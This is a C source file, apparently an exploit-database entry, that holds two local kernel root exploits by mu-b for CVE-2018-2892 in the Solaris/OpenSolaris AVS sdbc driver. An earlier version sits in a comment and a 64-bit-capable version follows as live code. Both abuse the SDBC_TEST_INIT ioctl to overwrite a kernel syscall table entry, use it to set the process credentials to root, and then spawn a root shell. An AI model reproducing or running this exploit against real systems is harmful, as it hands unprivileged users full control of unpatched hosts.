514 lines
No EOL
13 KiB
C
514 lines
No EOL
13 KiB
C
/*
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# Exploit Title: Solaris/OpenSolaris AVS kernel code execution
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# Google Dork: [if applicable]
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# Date: 24/7/2018
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# Exploit Author: mu-b
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# Vendor Homepage: oracle.com
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# Software Link:
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# Version: Solaris 10, Solaris <= 11.3
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# Tested on: Solaris 11.X, OpenSolaris
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# CVE : CVE-2018-2892
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http://digit-labs.org/files/exploits/sdbc-testinit.c
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http://digit-labs.org/files/exploits/sdbc-testinit-v2.c
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a few more added to digit-labs as well, old irix-espd remote root for
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irix as well.
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/* sdbc-testinit.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* Sun Opensolaris <= snv_104 local kernel root exploit
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* by mu-b - Sun 21 Dec 2008
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*
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* $Id: sdbc-testinit.c 37 2018-07-23 20:08:39Z mu-b $
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*
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* - Tested on: Opensolaris snv_104 (i86pc)
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*
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* hmmm, this has gotta be test code!?%$!
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#include <libelf.h>
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#include <string.h>
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#include <stropts.h>
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#include <sys/elf.h>
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#include <sys/mman.h>
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#include <sys/param.h>
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#include <sys/syscall.h>
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#include <unistd.h>
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#define SDBC(a) (('B'<<16)|('C'<<8)|(a))
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#define SDBC_TEST_INIT SDBC(5)
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typedef struct _sdbc_ioctl32_s {
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unsigned int arg0;
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unsigned int arg1;
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unsigned int arg2;
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unsigned int arg3;
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unsigned int arg4;
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unsigned int magic;
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unsigned int ustatus;
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unsigned int pad[1];
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} _sdbc_ioctl32_t;
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typedef struct _sysent_s {
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char sy_narg;
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#ifdef _LP64
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unsigned short sy_flags;
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#else
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unsigned char sy_flags;
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#endif
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int (*sy_call)();
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void *sy_lock;
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void *sy_callc;
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} _sysent_t;
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#ifdef _LP64
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#define KTHREAD 0x16
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#else
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#define KTHREAD 0x10
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#endif
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#define XSTRINGY(a) STRINGY(a)
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#define STRINGY(a) #a
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int
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pown_kernel (void)
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{
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__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
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"mov 0xdc(%eax), %eax\n"
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"mov 0x14(%eax), %eax\n"
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"movl $0x0, 0x4(%eax)\n"
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"movl $0x0, 0xc(%eax)");
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return (0);
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}
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static void *
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resolve_kernsymbl (char *name)
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{
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Elf_Scn *scn = NULL;
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Elf *elf;
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void *r = NULL;
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int fd;
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fd = open ("/dev/ksyms", O_RDONLY);
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if (fd < 0)
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{
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fprintf (stderr, "failed opening /dev/ksyms\n");
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return (NULL);
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}
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elf_version (EV_CURRENT);
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if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
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{
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fprintf (stderr, "elf_begin failed\n");
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goto done;
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}
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while ((scn = elf_nextscn (elf, scn)) != 0)
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{
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Elf32_Shdr *shdr;
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if ((shdr = elf32_getshdr (scn)) != 0)
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{
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if (shdr->sh_type == SHT_SYMTAB)
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{
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Elf_Data *data = NULL;
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if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
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continue;
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Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
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Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);
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for (; esym < lastsym; esym++)
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{
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if (esym->st_value == 0 ||
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(ELF32_ST_TYPE(esym->st_info) == STT_FUNC))
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continue;
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if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
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{
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r = (void *) esym->st_value;
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goto done;
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}
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}
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}
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}
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}
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done:
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elf_end (elf);
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close (fd);
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return (r);
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}
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int
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main (int argc, char **argv)
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{
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void *devarrayp, *sysentp, *ptr, *target;
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_sdbc_ioctl32_t sdcp_ioctl;
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_sysent_t sysent;
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int devindx, fd, id, n, sysindx;
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printf ("Sun Opensolaris <= snv_104 local kernel root exploit\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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fd = open ("/dev/sdbc", O_RDONLY);
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if (fd < 0)
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{
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fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
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return (EXIT_FAILURE);
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}
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memset (&sysent, 0, sizeof (sysent));
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sysent.sy_narg = 0;
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sysent.sy_flags = 0;
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sysent.sy_call = pown_kernel;
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sysent.sy_lock = NULL;
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sysent.sy_callc = NULL;
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devarrayp = resolve_kernsymbl ("devarray");
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if (devarrayp == NULL)
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{
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fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
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return (EXIT_FAILURE);
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}
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sysentp = resolve_kernsymbl ("sysent");
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if (sysentp == NULL)
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{
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fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
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return (EXIT_FAILURE);
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}
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sysentp += 8; /* any ideas? */
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target = sysentp + 0x2C0;
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sysindx = ((int) target - (int) sysentp) / sizeof (sysent);
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devindx = ((char *) target - (char *) devarrayp) / 256;
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ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
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if ((int) ptr == -1)
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{
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fprintf (stderr, "failed mmap\n");
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return (EXIT_FAILURE);
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}
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memset (ptr, 0, PAGESIZE);
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memcpy ((ptr + PAGESIZE) - sizeof (sysent), &sysent, sizeof (sysent));
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memset (&sdcp_ioctl, 0, sizeof (sdcp_ioctl));
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sdcp_ioctl.arg0 = (unsigned int) (ptr + PAGESIZE) - sizeof (sysent);
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sdcp_ioctl.arg1 = devindx;
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sdcp_ioctl.arg2 = sizeof (sysent) * 2;
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printf ("* devarray: 0x%08X, sysent: 0x%08X, target: 0x%08X\n", (int) devarrayp, (int) sysentp, (int) target);
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printf ("* devarray idx: %u\n", sdcp_ioctl.arg1);
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printf ("* sysent idx: %u\n", sysindx);
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printf ("\n* overwriting... ");
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n = ioctl (fd, SDBC_TEST_INIT, &sdcp_ioctl);
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printf ("done\n");
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printf ("\n* jumping... ");
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syscall (sysindx);
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printf ("done\n\n");
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id = getuid ();
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printf ("* getuid(): %d\n", id);
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if (id == 0)
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{
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printf ("+Wh00t\n\n");
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/* exec shell, for some reason execve doesn't work!?$! */
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system ("/bin/bash");
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}
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else
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fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
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return (EXIT_SUCCESS);
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}
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*/
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/* sdbc-testinit-v2.c
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*
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* Copyright (c) 2008-2017 by <mu-b@digit-labs.org>
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*
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* Sun Solaris <= 11.3 AVS local kernel root exploit
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* by mu-b - Tue 16 May 2017
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*
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* $Id: sdbc-testinit-v2.c 37 2018-07-23 20:08:39Z mu-b $
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*
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* - Tested on: Solaris 5.11 11.3 + AVS (i86pc)
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* Opensolaris snv_104 + AVS (i86pc)
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*
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* hmmm, this has gotta be test code!?%$!
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*
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* This was originally found in OpenSolaris and later ported to Solaris with the
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* exception that we now have to exploit a signedness bug in the devarray index
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* parameter whereas previously it was unbounded! (see sdbc-testinit.c).
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#include <libelf.h>
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#include <limits.h>
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#include <string.h>
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#include <stropts.h>
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#include <sys/elf.h>
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#include <sys/mman.h>
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#include <sys/param.h>
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#include <sys/syscall.h>
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#include <unistd.h>
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#define SDBC(a) (('B'<<16)|('C'<<8)|(a))
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#define SDBC_TEST_INIT SDBC(5)
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typedef struct _sdbc_ioctl {
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long arg0;
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long arg1;
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long arg2;
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long arg3;
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long arg4;
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long magic;
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long ustatus;
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long pad[1];
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} _sdbc_ioctl_t;
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typedef struct _sysent_s {
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char sy_narg;
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#ifdef _LP64
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unsigned short sy_flags;
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#else
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unsigned char sy_flags;
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#endif
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int (*sy_call)();
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void *sy_lock;
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void *sy_callc;
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} _sysent_t;
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#ifdef _LP64
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# define KTHREAD 0x18
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#else
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# define KTHREAD 0x10
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#endif
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#define XSTRINGY(a) STRINGY(a)
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#define STRINGY(a) #a
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int
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pown_kernel (void)
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{
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#ifdef _LP64
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__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %rax\n"
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"mov 0x1c8(%rax), %rax\n"
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"movl $0x0, 0x4(%rax)\n" /* kthread_t->t_cred->cr_uid */
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"movl $0x0, 0x8(%rax)\n" /* kthread_t->t_cred->cr_gid */
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"movl $0x0, 0xc(%rax)\n" /* kthread_t->t_cred->cr_ruid */
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"movl $0x0, 0x10(%rax)"); /* kthread_t->t_cred->cr_rgid */
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#else
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__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
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"mov 0xdc(%eax), %eax\n"
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"mov 0x14(%eax), %eax\n"
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"movl $0x0, 0x4(%eax)\n"
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"movl $0x0, 0x8(%eax)\n"
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"movl $0x0, 0xc(%eax)\n"
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"movl $0x0, 0x10(%eax)");
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#endif
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return (0);
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}
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static void *
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resolve_kernsymbl (char *name)
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{
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Elf_Scn *scn = NULL;
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Elf *elf;
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void *r = NULL;
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int fd;
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fd = open ("/dev/ksyms", O_RDONLY);
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if (fd < 0)
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{
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fprintf (stderr, "failed opening /dev/ksyms\n");
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return (NULL);
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}
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elf_version (EV_CURRENT);
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if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
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{
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fprintf (stderr, "elf_begin failed\n");
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goto done;
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}
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while ((scn = elf_nextscn (elf, scn)) != 0)
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{
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#ifdef _LP64
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Elf64_Shdr *shdr;
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if ((shdr = elf64_getshdr (scn)) != 0)
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#else
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Elf32_Shdr *shdr;
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if ((shdr = elf32_getshdr (scn)) != 0)
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#endif
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{
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if (shdr->sh_type == SHT_SYMTAB)
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{
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Elf_Data *data = NULL;
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if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
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continue;
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#ifdef _LP64
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Elf64_Sym *esym = (Elf64_Sym *) data->d_buf;
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Elf64_Sym *lastsym = (Elf64_Sym *) ((char *) data->d_buf + data->d_size);
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#else
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Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
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Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);
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#endif
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for (; esym < lastsym; esym++)
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{
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if (esym->st_value == 0 ||
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#ifdef _LP64
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(ELF64_ST_TYPE(esym->st_info) == STT_FUNC))
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#else
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(ELF32_ST_TYPE(esym->st_info) == STT_FUNC))
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#endif
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continue;
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if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
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{
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r = (void *) esym->st_value;
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goto done;
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}
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}
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}
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}
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}
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done:
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elf_end (elf);
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close (fd);
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return (r);
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}
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int
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main (int argc, char **argv)
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{
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void *devarrayp, *sysentp, *ptr, *targetp;
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int align, fd, id, n, sysindx;
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_sdbc_ioctl_t sdbc_ioctl;
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_sysent_t sysent;
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long devindx;
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printf ("Sun (Open)Solaris <= 11.3 AVS local kernel root exploit\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!\n\n");
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fd = open ("/dev/sdbc", O_RDONLY);
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if (fd < 0)
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{
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fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
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return (EXIT_FAILURE);
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}
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memset (&sysent, 0, sizeof (sysent));
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sysent.sy_narg = 0;
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sysent.sy_flags = 0;
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sysent.sy_call = pown_kernel;
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sysent.sy_lock = pown_kernel;
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sysent.sy_callc = pown_kernel;
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devarrayp = resolve_kernsymbl ("devarray");
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if (devarrayp == NULL)
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{
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fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
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return (EXIT_FAILURE);
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}
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sysentp = resolve_kernsymbl ("sysent");
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if (sysentp == NULL)
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{
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fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
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return (EXIT_FAILURE);
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}
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/* devarray elements are 256-bytes in size, so we can only write at an offset
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* aligned to devarrayp & 0xff */
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targetp = (void *) (((long) sysentp & ~0xFF) | ((long) devarrayp & 0xFF));
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targetp += 0x1700;
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sysindx = ((long) targetp - (long) sysentp) / sizeof (sysent);
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devindx = ((char *) targetp - (char *) devarrayp) / 256;
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devindx = (long) LONG_MIN + devindx;
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ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
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if (ptr == (void *) -1)
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{
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fprintf (stderr, "failed mmap\n");
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return (EXIT_FAILURE);
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}
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memset (ptr, 0, PAGESIZE);
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align = ((long) sysentp & 0x0F) - ((long) devarrayp & 0x0F);
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if (align < 0)
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align = -align;
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memcpy ((ptr + PAGESIZE) - sizeof (sysent) - align, &sysent, sizeof (sysent));
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memset (&sdbc_ioctl, 0, sizeof (sdbc_ioctl));
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sdbc_ioctl.arg0 = (long) (ptr + PAGESIZE) - sizeof (sysent);
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sdbc_ioctl.arg1 = devindx;
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sdbc_ioctl.arg2 = sizeof (sysent) * 2;
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#ifdef _LP64
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printf ("* devarray: 0x%016lX, sysent: 0x%016lX, target: 0x%016lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
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printf ("* devarray idx: %ld %016lX\n", devindx, devindx);
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#else
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printf ("* devarray: 0x%08lX, sysent: 0x%08lX, target: 0x%08lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
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printf ("* devarray idx: %ld %08lX\n", devindx, devindx);
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#endif
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printf ("* sysent idx: %u\n", sysindx);
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printf ("\n* overwriting... ");
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n = ioctl (fd, SDBC_TEST_INIT, &sdbc_ioctl);
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if (n != -1)
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{
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printf ("failed, ouch (%d)\n", n);
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return (EXIT_FAILURE);
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}
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printf ("done\n");
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printf ("* jumping... ");
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syscall (sysindx);
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printf ("done\n");
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id = getuid ();
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printf ("* getuid(): %d\n", id);
|
|
if (id == 0)
|
|
{
|
|
char *args[2] = { "/bin/sh", NULL };
|
|
printf ("+Wh00t\n\n");
|
|
|
|
execve (args[0], args, NULL);
|
|
}
|
|
else
|
|
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
|
|
|
|
return (EXIT_SUCCESS);
|
|
} |